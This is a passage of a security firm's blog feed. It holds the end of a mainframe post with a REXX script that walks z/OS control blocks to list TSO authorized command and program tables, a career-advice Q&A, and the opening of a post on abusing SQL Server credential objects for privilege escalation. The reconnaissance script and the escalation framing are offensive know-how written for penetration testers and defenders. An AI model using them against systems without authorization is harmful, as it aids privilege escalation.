<p>Let&#8217;s analyze the bytes in CTLT CONTENTS and refer to IBM&#8217;s documentation in the TSO/E System Diagnosis: Data Areas, under KJCTLT information. (As of this blog post, this information is also available at: <a href="https://www.ibm.com/docs/en/zos/3.1.0?topic=information-ikjctlt-mapping" target="_blank" rel="noreferrer noopener">https://www.ibm.com/docs/en/zos/3.1.0?topic=information-ikjctlt-mapping</a>).</p>



<p>The first 4 bytes (C3 E3 D3 E3, which is EBCDIC for &#8216;CTLT&#8217;) represent what IBM calls an eye catcher, essentially a road marker indicating you&#8217;re in the right spot. The next two bytes show the size of this table (00 3C), which is 60, followed by a version byte (02) and a reserved byte.&nbsp;</p>



<p>The table becomes particularly interesting after these initial bytes. We find 4 entries, each 12 bytes long, followed by a flag byte and three more reserved bytes.&nbsp;</p>



<div class="wp-block-uagb-image alignleft uagb-block-9a446b36 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-5.png ,https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-5.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-5.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-5.png" alt="Image showing the CTLT memory region with descriptions " class="uag-image-25517" width="1200" height="310" title="Image showing the CTLT memory region with descriptions " loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>Let&#8217;s examine these four entries more closely. I&#8217;ve separated them out here:</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">20 37 03 88 00 00 02 A8 00 53 00 08 (AUTHCMD/IKJEFTE2) 
20 37 02 60 00 00 01 28 00 23 00 08 (AUTHPGM/IKJEFTE8) 
20 3B 00 00 00 00 00 42 00 05 00 0A (NOTBKGND/IKJEFTNS) 
20 38 50 58 00 00 00 38 00 05 00 08 (AUTHTSF/IKJEFTAP) </pre>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>Referring back to the documentation, we can parse each entry as follows:&nbsp;</p>



<ul class="wp-block-list">
<li>Four bytes: memory address&nbsp;</li>



<li>Four bytes: size of the table in bytes&nbsp;</li>



<li>Two bytes: number of entries&nbsp;</li>



<li>Two bytes: size of each entry&nbsp;</li>
</ul>



<p>So, for example, AUTHPGM can be broken down as:</p>



<div class="wp-block-uagb-image alignleft uagb-block-63287f6e wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/091624_TECH_TSO-Authorized-Tables_Table.webp ,https://www.netspi.com/wp-content/uploads/2024/09/091624_TECH_TSO-Authorized-Tables_Table.webp 780w, https://www.netspi.com/wp-content/uploads/2024/09/091624_TECH_TSO-Authorized-Tables_Table.webp 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/091624_TECH_TSO-Authorized-Tables_Table.webp" alt="AUTHPGM" class="uag-image-25518" width="1201" height="451" title="AUTHPGM" loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>Now that we understand the structure of each entry in the CTLT, we can create a REXX script to enumerate all four structures:&nbsp;&nbsp;</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">/* REXX */  
                                          
SAY 'ENUMERATING CTLT' 

  /*                         */ 
 /* Walk the control blocks */ 
/*                         */           

CVT =  C2X(STORAGE(10,4))                                  
TSVT = _STORAGE(CVT,9C)                                    
TPVT = _STORAGE(TSVT,4C)                                   
CTLT = _STORAGE(TPVT,14)                                   
SAY CVT ": CVT" TSVT ": TSVT" TPVT ": TPVT" CTLT ": CTLT"   

/* Get the CTLT size */ 
CTLT_SIZE = C2D(STORAGE(D2X(X2D(CTLT)+4),2))                

  /*                         */ 
 /* Loop through each entry */ 
/*                         */ 

DO I = 8 TO CTLT_SIZE - 5 BY 12                            
 TABLE   = _STORAGE(CTLT,D2X(I))                           
 SIZE    = C2D(STORAGE(D2X(X2D(CTLT)+I+6),2))              
 ENTRIES = C2D(STORAGE(D2X(X2D(CTLT)+I+8),2))              
 LENGTH  = C2D(STORAGE(D2X(X2D(CTLT)+I+10),2))             
 NAME = STORAGE(TABLE,8)                                   
 SAY ;SAY NAME "ENTRIES:" ENTRIES-1; SAY                     
 OUTPUT = ''      

    /*                                         */ 
   /* Print the entries in the table skipping */ 
  /*  over ' PARMLIB'                        */ 
 /*                                         */ 

 DO J = 2 TO ENTRIES                                       
  ENT = STORAGE(D2X(X2D(TABLE) + (LENGTH*J)),LENGTH)  
  OUTPUT = OUTPUT ENT                                
  IF LENGTH(OUTPUT) > 60 THEN DO                     
   SAY OUTPUT                                        
   OUTPUT = ''                                       
  END                                                
 END                                                 
 IF OUTPUT /= '' THEN SAY OUTPUT                     
END                                                  
RETURN                                                                                                   

_STORAGE:                                            
 PARSE ARG ADDR, DISP                                
 RETURN C2X(STORAGE(D2X(X2D(ADDR)+X2D(DISP)),4))</pre>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>And after uploading this script to z/OS and executing it, we get:&nbsp;</p>



<div class="wp-block-uagb-image alignleft uagb-block-51e3c65d wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-6.png ,https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-6.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-6.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-6.png" alt="Screenshot showing the output from the updated REXX script " class="uag-image-25519" width="900" height="768" title="Screenshot showing the output from the updated REXX script " loading="lazy" role="img"/></figure></div>



<div class="wp-block-uagb-image alignleft uagb-block-08da592a wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-7.png ,https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-7.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-7.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/TSO-Authorized-Tables-7.png" alt="Screenshot showing the output from the updated REXX script " class="uag-image-25520" width="900" height="423" title="Screenshot showing the output from the updated REXX script " loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>Success! We can now easily view the contents of the tables we needed. While there&#8217;s room for further refinement, particularly in handling the length of the IKJEFTNS entries, the script provides us with the necessary information to overcome the obstacle we faced.&nbsp;</p>



<p>This work proved its value during a recent engagement. Using this script, we uncovered a privilege escalation path that might have gone undetected otherwise.&nbsp;</p>



<p>To streamline future pentests, I&#8217;ve integrated this functionality as option “TSOT” in my z/OS enumeration REXX script, available <a href="https://github.com/mainframed/Enumeration/blob/master/ENUM" target="_blank" rel="noreferrer noopener">here</a>: &nbsp;</p>



<p>This REXX script is just one example of how we at NetSPI continuously innovate to enhance our penetration testing capabilities. By developing new tools and techniques, we&#8217;re able to provide more comprehensive and effective security assessments, particularly in complex mainframe environments.&nbsp;</p>



<p>Are you looking to bolster your mainframe security? Our expert team is ready to apply these advanced techniques and more to your systems. Click <a href="https://www.netspi.com/netspi-ptaas/network-penetration-testing/mainframe/" target="_blank" rel="noreferrer noopener">here</a> to learn about our mainframe penetration testing services and schedule a consultation. Let&#8217;s work together to secure your critical mainframe infrastructure.&nbsp;</p>
<p>The post <a href="https://www.netspi.com/blog/technical-blog/mainframe-penetration-testing/mapping-mainframe-memory/">Mapping Mainframe Memory Made Easy</a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>5 Essential Cybersecurity Leadership Tips for Technologists </title>
		<link>https://www.netspi.com/blog/executive-blog/personnel-development/cybersecurity-leadership-tips-for-technologists/</link>
		
		<dc:creator><![CDATA[Sam Horvath]]></dc:creator>
		<pubDate>Thu, 12 Sep 2024 14:00:00 +0000</pubDate>
				<category><![CDATA[Personnel Development]]></category>
		<guid isPermaLink="false">https://www.netspi.com/?p=25504</guid>

					<description><![CDATA[<p>Learn about Sam Horvath's journey from pentester to Managing Director at NetSPI, with cybersecurity leadership tips for aspiring technologists. </p>
<p>The post <a href="https://www.netspi.com/blog/executive-blog/personnel-development/cybersecurity-leadership-tips-for-technologists/">5 Essential Cybersecurity Leadership Tips for Technologists </a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading" id="h-tl-dr-nbsp">TL;DR &nbsp;</h2>



<p>In this Q&amp;A, NetSPI Managing Director <a href="https://www.netspi.com/authors/shorvath/" target="_blank" rel="noreferrer noopener">Sam Horvath,</a> shares his career journey from penetration tester to cybersecurity strategist, offering five actionable tips for technologists who aspire to hold leadership roles:&nbsp;</p>



<ol start="1" class="wp-block-list">
<li>Embrace challenges and seek new opportunities to expand your skill set and advance your career.  </li>



<li>Be adaptable and open to reshaping your role to align with your aspirations.  </li>



<li>Seek mentorship from both internal and external sources. </li>



<li>Focus on both hard and soft skills development, including technical expertise and strategic vision.  </li>



<li>Be proactive and show up with solutions.</li>
</ol>



<h2 class="wp-block-heading" id="h-introduction-nbsp">Introduction&nbsp;</h2>



<p>Career paths are rarely linear when working in security, and few stories show this better than NetSPI&#8217;s Managing Director, Sam Horvath. Sam’s journey into cybersecurity was fueled by a long-standing curiosity about the field. His entry into pentesting was a pivotal step, setting the stage for a transition from a technical role to a strategist position down the road.&nbsp;&nbsp;</p>



<p>Today, Sam is at the forefront of guiding some of the world&#8217;s largest technology companies and financial institutions toward robust security strategies. Discover how he navigated his career transition and gain insights from his experiences as he shares tips along the journey.&nbsp;</p>



<h2 class="wp-block-heading" id="h-how-did-you-get-started-in-penetration-testing-and-how-has-your-career-evolved-over-time-nbsp-nbsp">How did you get started in penetration testing, and how has your career evolved over time?&nbsp;&nbsp;</h2>



<p>I was in a non-security role and really looking for what to do next but had no idea what to do. I always had a peripheral interest in security, but never had the chance to actively pursue specialization in the field.&nbsp;&nbsp;</p>



<p>That all changed one day when I got a text from a former classmate who asked me if I wanted a chance to learn more about security, and a new job to go along with it. A few phone calls and interviews later, and I was thrilled to join <a href="https://www.netspi.com/careers/netspi-u/" target="_blank" rel="noreferrer noopener">NetSPI University</a>’s first formal class in 2018. I spent six months learning about the basics of information security and <a href="https://www.netspi.com/netspi-ptaas/" target="_blank" rel="noreferrer noopener">penetration testing</a>, and then passed our internal assessments to work on real-world customers.&nbsp;</p>



<div class="wp-block-uagb-image uagb-block-43f3f8f0 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-none"><figure class="wp-block-uagb-image__figure"><a class="" href="https://www.netspi.com/careers/netspi-u/" target="" rel="noopener"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/08/NetSPI-Agents-CTA.webp ,https://www.netspi.com/wp-content/uploads/2024/08/NetSPI-Agents-CTA.webp 780w, https://www.netspi.com/wp-content/uploads/2024/08/NetSPI-Agents-CTA.webp 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/08/NetSPI-Agents-CTA.webp" alt="" class="uag-image-25249" width="1201" height="301" title="NetSPI-Agents-CTA" loading="lazy" role="img"/></a></figure></div>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<p>After a few years, I was able to expand my skill sets, both in <a href="https://www.netspi.com/netspi-ptaas/application-penetration-testing/web-application/" target="_blank" rel="noreferrer noopener">web application penetration testing</a> and <a href="https://www.netspi.com/netspi-ptaas/social-engineering/" target="_blank" rel="noreferrer noopener">social engineering</a>, and really enjoyed the work. I found that I got a lot of satisfaction out of technical leadership for our large financial and technology clients, and really enjoyed interacting with our customers. </p>


<div class="my-8 custom-quote-wrapper"><div class="condensed-section"><div class="relative"> <img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full top-0 m-0 left-0 lg:left-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-left.svg" aria-hidden="true"><img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full bottom-0 m-0 right-0 lg:right-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-right.svg" aria-hidden="true"><div class="relative bg-offWhite"><div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[44.5rem] mx-auto">
<blockquote class="custom-quote-class !py-5" class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="custom-paragraph">&#8220;A few phone calls and interviews later, and I was thrilled to join NetSPI University&#8217;s first formal class, back in 2018. I spent six months learning about the basics of information security and penetration testing, and then passed our internal assessments to work on real-world clients.&#8221;</p>
</blockquote>
</div></div></div></div></div>


<h3 class="wp-block-heading" id="h-tip-1-embrace-challenges-and-seek-new-opportunities-to-expand-your-skill-set-and-advance-your-career-nbsp-nbsp">Tip #1: Embrace challenges and seek new opportunities to expand your skill set and advance your career.&nbsp;&nbsp;</h3>



<p>When I hit a point during the pandemic where I felt like I needed a fresh challenge, I was able to do something that I think really represents the core ethos of NetSPI — I approached our <a href="https://www.netspi.com/about-us/" target="_blank" rel="noreferrer noopener">company leadership</a> to express an interest in doing something different. At many companies, this would not be met with a warm response. At NetSPI, the response was: “Okay great – let&#8217;s figure something out.”&nbsp;&nbsp;</p>



<p>I transitioned to the Managing Director team and was very lucky to spend a year learning from a few of our most knowledgeable team members. Eventually, I was given my own customers to handle, and things took off from there! Fast forward to today, and I spend most of my time working with some of the largest technology and insurance companies in the world.&nbsp;</p>



<h3 class="wp-block-heading" id="h-tip-2-be-adaptable-and-open-to-reshaping-your-role-to-align-with-your-aspirations">Tip #2: Be adaptable and open to reshaping your role to align with your aspirations. </h3>



<div class="wp-block-uagb-image uagb-block-36a06f31 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-none"><figure class="wp-block-uagb-image__figure"><a class="" href="https://www.netspi.com/customer-stories/cyber-insurance-chubb/" target="" rel="noopener"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/CTA_CHUBB-Case-Study-04.webp ,https://www.netspi.com/wp-content/uploads/2024/09/CTA_CHUBB-Case-Study-04.webp 780w, https://www.netspi.com/wp-content/uploads/2024/09/CTA_CHUBB-Case-Study-04.webp 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/CTA_CHUBB-Case-Study-04.webp" alt="" class="uag-image-25505" width="1201" height="351" title="CTA_CHUBB Case Study-04" loading="lazy" role="img"/></a></figure></div>



<h2 class="wp-block-heading" id="h-what-responsibilities-do-you-have-in-your-role-as-a-managing-director-nbsp">What responsibilities do you have in your role as a Managing Director?&nbsp;</h2>



<p>As a Managing Director at NetSPI, I leverage my past experience as a penetration tester and my more recent experience as a strategic advisor to ensure that NetSPI is constantly executing its work at the highest standard possible.&nbsp;&nbsp;</p>



<p>This can include anything from creating metrics with the customer that help <a href="https://www.netspi.com/blog/executive-blog/penetration-testing-as-a-service-ptaas/gut-check-are-you-getting-the-most-value-out-of-your-penetration-testing-report/" target="_blank" rel="noreferrer noopener">measure the success of their penetration testing program</a> to addressing concerns around testing focus areas and methodology. The major theme around my work is helping security leaders shift their viewpoint and operations from dealing with the next challenge six inches in front of their face, one after the other, to executing long-term planning and a <a href="https://www.netspi.com/blog/executive-blog/proactive-security/proactive-security-101-discover-prioritize-remediate/" target="_blank" rel="noreferrer noopener">proactive security strategy</a> around what they want their <a href="https://www.netspi.com/blog/executive-blog/penetration-testing-as-a-service-ptaas/penetration-testing-security/" target="_blank" rel="noreferrer noopener">penetration testing program</a> to accomplish.</p>


<div class="my-8 custom-quote-wrapper"><div class="condensed-section"><div class="relative"> <img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full top-0 m-0 left-0 lg:left-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-left.svg" aria-hidden="true"><img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full bottom-0 m-0 right-0 lg:right-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-right.svg" aria-hidden="true"><div class="relative bg-offWhite"><div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[44.5rem] mx-auto">
<blockquote class="custom-quote-class !py-5" class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="custom-paragraph">&#8220;The major theme around my work is helping security leaders shift their viewpoint and operations from dealing with the next challenge six inches in front of their face, one after the other, to executing long-term planning and strategy around what they want their penetration testing program to accomplish.&#8221;</p>
</blockquote>
</div></div></div></div></div>


<h2 class="wp-block-heading" id="h-what-steps-did-you-take-to-prepare-yourself-professionally-for-the-transition-from-technologist-to-strategist-nbsp-nbsp-nbsp-nbsp">What steps did you take to prepare yourself professionally for the transition from technologist to strategist?&nbsp;&nbsp;&nbsp;&nbsp;</h2>



<p>The single most important step that I took professionally in this new role was to seek out and embrace mentorship. &nbsp;</p>



<h3 class="wp-block-heading" id="h-tip-3-seek-mentorship-from-both-internal-and-external-sources-to-develop-your-professional-skills-and-navigate-your-career-path-nbsp-nbsp">Tip #3: Seek mentorship from both internal and external sources to develop your professional skills and navigate your career path.&nbsp;&nbsp;</h3>



<p>I engaged with multiple folks both internal and external to NetSPI to help guide me through specific areas of skill development:&nbsp;</p>



<ol start="1" class="wp-block-list">
<li>Professional <a href="https://www.netspi.com/blog/technical-blog/" target="_blank" rel="noreferrer noopener">hard skills development</a>, such as how to run a penetration testing program, policy creation, vulnerability measurements, and creating and running a business review. </li>



<li><a href="https://www.netspi.com/podcast/sharing-a-blueprint-for-cybersecurity-leadership/" target="_blank" rel="noreferrer noopener">Soft skills development</a>, including conflict resolution, leading from the middle, and managing up. </li>



<li>Career mapping, as in how to point oneself and what they’re learning and developing in a specific direction. </li>
</ol>



<p>By actively seeking mentorship and leveraging the experiences of the people around me, I built skills for leadership roles and navigating cybersecurity planning more effectively.</p>



<div class="wp-block-uagb-image uagb-block-e84d6ddd wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-none"><figure class="wp-block-uagb-image__figure"><a class="" href="https://www.netspi.com/resources/templates-and-checklists/web-application-penetration-testing-checklist/" target="" rel="noopener"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/08/Web-App-Pentesting.webp ,https://www.netspi.com/wp-content/uploads/2024/08/Web-App-Pentesting.webp 780w, https://www.netspi.com/wp-content/uploads/2024/08/Web-App-Pentesting.webp 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/08/Web-App-Pentesting.webp" alt="" class="uag-image-25324" width="1201" height="300" title="Web App Pentesting" loading="lazy" role="img"/></a></figure></div>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-what-kind-of-challenges-did-you-encounter-and-how-did-you-move-past-them-nbsp-nbsp-nbsp">What kind of challenges did you encounter and how did you move past them?&nbsp;&nbsp;&nbsp;</h2>



<p>The early challenges I encountered were around being in a role that was undefined at the time. When you’re still shaping your role, it can be easy to get caught in the same trap that security executives do – just putting out the next fire or responding to what people need from you. It signifies an admirable intent to help everyone around you, but six months later you can look back and realize you haven’t made the lasting impact you wanted to.  </p>



<h3 class="wp-block-heading" id="h-tip-4-focus-on-both-hard-and-soft-skills-development-including-technical-expertise-and-strategic-vision">Tip #4: Focus on both hard and soft skills development, including technical expertise and strategic vision.  </h3>


<div class="my-8 custom-quote-wrapper"><div class="condensed-section"><div class="relative"> <img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full top-0 m-0 left-0 lg:left-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-left.svg" aria-hidden="true"><img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full bottom-0 m-0 right-0 lg:right-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-right.svg" aria-hidden="true"><div class="relative bg-offWhite"><div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[44.5rem] mx-auto">
<blockquote class="custom-quote-class !py-5" class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="custom-paragraph">&#8220;When you’re still shaping your role, it can be easy to get caught in the same trap that security executives do – just putting out the next fire or responding to what people need from you. It signifies an admirable intent to help everyone around you, but six months later you can look back and realize you haven’t made the lasting impact you wanted to.&#8221;</p>
</blockquote>
</div></div></div></div></div>


<p>The other early challenge I encountered was my skill set. I was very familiar with being a penetration tester and had led and participated in highly complex technical programs for some of the world’s leading tech companies. But that didn’t begin to cover what I needed to know to be successful in my new role.&nbsp;&nbsp;</p>



<p>I had to look to the direction of a handful of folks senior to me at NetSPI to learn how to earn trust and become a strategic advisor to a customer, negotiate difficult situations both internally and externally, understand <a href="https://www.netspi.com/netspi-ptaas/cybersecurity-maturity-assessment/" target="_blank" rel="noreferrer noopener">security program strategy and maturity</a>, and many other items. And I had to learn it all as fast as possible.&nbsp;&nbsp;</p>



<h2 class="wp-block-heading" id="h-how-does-your-day-to-day-as-a-managing-director-compare-to-your-day-in-the-life-of-a-penetration-tester-nbsp-nbsp">How does your day-to-day as a managing director compare to your day in the life of a penetration tester?&nbsp;&nbsp;</h2>



<p>My current role is very different than my time as a practitioner. First, work isn’t assigned to me, and there’s no one else who I can look to as responsible to drive an effort forward. If we don’t succeed for our customers, the buck stops with me.&nbsp;&nbsp;</p>



<p>I miss being technical, but I love that I can be more strategic. In my current role, I often get to have “big idea” strategy discussions – how we attune our larger movements and goals for the year ahead, and I then work with our teams to translate that into tactical actions and initiatives. &nbsp;</p>



<p>An important piece of these discussions is the preparation and use of vulnerability data to illustrate the overall state of a customer&#8217;s program, and that’s something I love doing as a Managing Director, that I did not get to do at all as a consultant. I often spend hours and hours working with vulnerability data to discover trends and recommend initiatives to our customers. This is one of a few key areas at NetSPI where true impact to the security program becomes a reality.&nbsp;</p>



<h2 class="wp-block-heading" id="h-can-you-share-any-advice-for-technologists-looking-to-evolve-their-role-into-cybersecurity-leadership-nbsp-nbsp">Can you share any advice for technologists looking to evolve their role into cybersecurity leadership?&nbsp;&nbsp;</h2>



<p>To move into bigger shoes, you first have to show you’ve got big feet. Take responsibility for an initiative or ask to ride along with someone on it. Find something you’re passionate about within the company and become the expert!&nbsp;</p>



<p>Be ready to screw up – you’re going to make a lot of mistakes as you learn to play a bigger role, and that’s okay. Having a good mentor will help you learn from those mistakes, and so will being self-aware.&nbsp;&nbsp;&nbsp;</p>



<p>Become borderline maniacal about feedback. Ask for it from everyone you can. As human beings, we tend to have an opinion on most things we see in the workplace, and life in general. Most people won’t proactively share their opinions with you at work regarding your own performance, so make sure you go ask whoever you can for feedback on your working style and skill set. You’ll be surprised at how valuable that process is.&nbsp;&nbsp;&nbsp;</p>


<div class="my-8 custom-quote-wrapper"><div class="condensed-section"><div class="relative"> <img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full top-0 m-0 left-0 lg:left-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-left.svg" aria-hidden="true"><img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full bottom-0 m-0 right-0 lg:right-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-right.svg" aria-hidden="true"><div class="relative bg-offWhite"><div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[44.5rem] mx-auto">
<blockquote class="custom-quote-class !py-5" class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="custom-paragraph">&#8220;Be ready to screw up – you’re going to make a lot of mistakes as you learn to play a bigger role, and that’s okay. Having a good mentor will help you learn from those mistakes, and so will being self-aware.&#8221;</p>
</blockquote>
</div></div></div></div></div>


<h3 class="wp-block-heading" id="h-tip-5-be-proactive-and-show-up-with-solutions-nbsp-nbsp-nbsp">Tip #5: Be proactive and show up with solutions.&nbsp;&nbsp;&nbsp;</h3>



<p>Finally, and most importantly – act on the feedback you get. Everyone has things they can get better at – if you do 1% better every day, you will be 37 times better at that thing in a year.&nbsp;&nbsp;&nbsp;</p>



<h2 class="wp-block-heading" id="h-conclusion-nbsp">Conclusion&nbsp;</h2>



<p>Sam&#8217;s journey from pentester to Managing Director shows the dynamic nature of career paths in cyber. His insights are a valuable guide for technologists aspiring to step into leadership roles. By embracing challenges, seeking mentorship, and actively developing both hard and soft skills, professionals can position themselves for growth and influence in their fields.&nbsp;&nbsp;</p>



<p>Whether you&#8217;re <a href="https://www.netspi.com/careers/netspi-u/" target="_blank" rel="noreferrer noopener">getting started in cybersecurity</a> or contemplating a shift into leadership, the tips Sam shared provide a roadmap to navigate the complexities of this critical transition. Explore <a href="https://www.netspi.com/careers/" target="_blank" rel="noreferrer noopener">NetSPI’s open positions</a> and help secure the most trusted brands on Earth.&nbsp;</p>



<p></p>
<p>The post <a href="https://www.netspi.com/blog/executive-blog/personnel-development/cybersecurity-leadership-tips-for-technologists/">5 Essential Cybersecurity Leadership Tips for Technologists </a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation </title>
		<link>https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/</link>
		
		<dc:creator><![CDATA[Scott Sutherland]]></dc:creator>
		<pubDate>Tue, 10 Sep 2024 14:00:00 +0000</pubDate>
				<category><![CDATA[Network Pentesting]]></category>
		<guid isPermaLink="false">https://www.netspi.com/?p=25333</guid>

					<description><![CDATA[<p>Learn how threat actors can exploit SQL Server credential objects to escalate domain privileges and how you can detect it.</p>
<p>The post <a href="https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/">Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation </a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>In this blog I’ll introduce SQL Server credential objects and discuss how they can be abused by threat actors to execute code as either a SQL Server login, local Windows user, or Domain user. I’ll also cover how to enable logging that can be used to detect the associated behavior. This should be interesting to penetration testers, red teamers, and DBAs looking for legitimate authentication work arounds.&nbsp;</p>



<h2 class="wp-block-heading" id="h-the-scenario-nbsp">The Scenario&nbsp;</h2>



<p>Let’s start by painting a picture of a common scenario and the problem we are trying to solve with this technique.&nbsp;</p>



<ol start="1" class="wp-block-list">
<li>You are a penetration tester or red teamer.</li>



<li>You have obtained sysadmin privilege on a SQL Server instance through a common attack vector, such as SQL Injection, weak password, excessive privilege, or misconfigured SQL Server link.</li>



<li>You can execute commands and code on the host operating system in the context of the SQL Server service account using a variety of techniques like xp_cmdshell, custom CLRs, agent jobs, etc.</li>



<li>The problem is that the SQL Server service account is configured to run as <em>NT Service\MSSQLSERVER</em>, which is an account with limited privileges on the operating system. As testers we want local administrator privileges at a minimum and Domain Admin if we are lucky. So, we need to find a workaround.</li>



<li>Given the limitations of the <em>NT Service\MSSQLSERVER </em>account, our next step is often attempting to escalate privileges locally. There are many OS-centric approaches to privilege escalation in Windows including, but not limited to #<a href="https://github.com/CCob/SweetPotato" target="_blank" rel="noreferrer noopener">AllThePotatoes</a>. However, I wanted to consider how SQL Server credentials could potentially be abused in this scenario if they have been configured on a SQL Server instance.&nbsp;</li>
</ol>



<p>Let’s explore the idea.&nbsp;</p>



<h2 class="wp-block-heading" id="h-what-is-a-credential-object-in-sql-server-nbsp">What is a Credential Object in SQL Server?&nbsp;</h2>



<p>Credentials are objects in SQL Server that store information, such as usernames and passwords, which can be used to authenticate to external resources like other SQL Servers, file shares, or web services, and execute processes/tasks in the context of another user. Credential types include SQL Server logins, local Windows users, and Active Directory domain users. &nbsp;</p>



<p>Some common subsystems in SQL Server that use credentials include:&nbsp;</p>



<ul class="wp-block-list">
<li>Agent Jobs</li>



<li>SQL Server Integration Services (SSIS)</li>



<li>SQL Server Reporting Services (SSRS)</li>



<li>Linked Servers&nbsp;</li>



<li>Database Mail&nbsp;</li>



<li>Service Broker&nbsp;</li>



<li>Replication&nbsp;</li>
</ul>



<p>There are many legitimate use cases for credential objects in SQL Server, but like all stored authentication tokens, they can be targeted and abused by threat actors.&nbsp;&nbsp;&nbsp;</p>



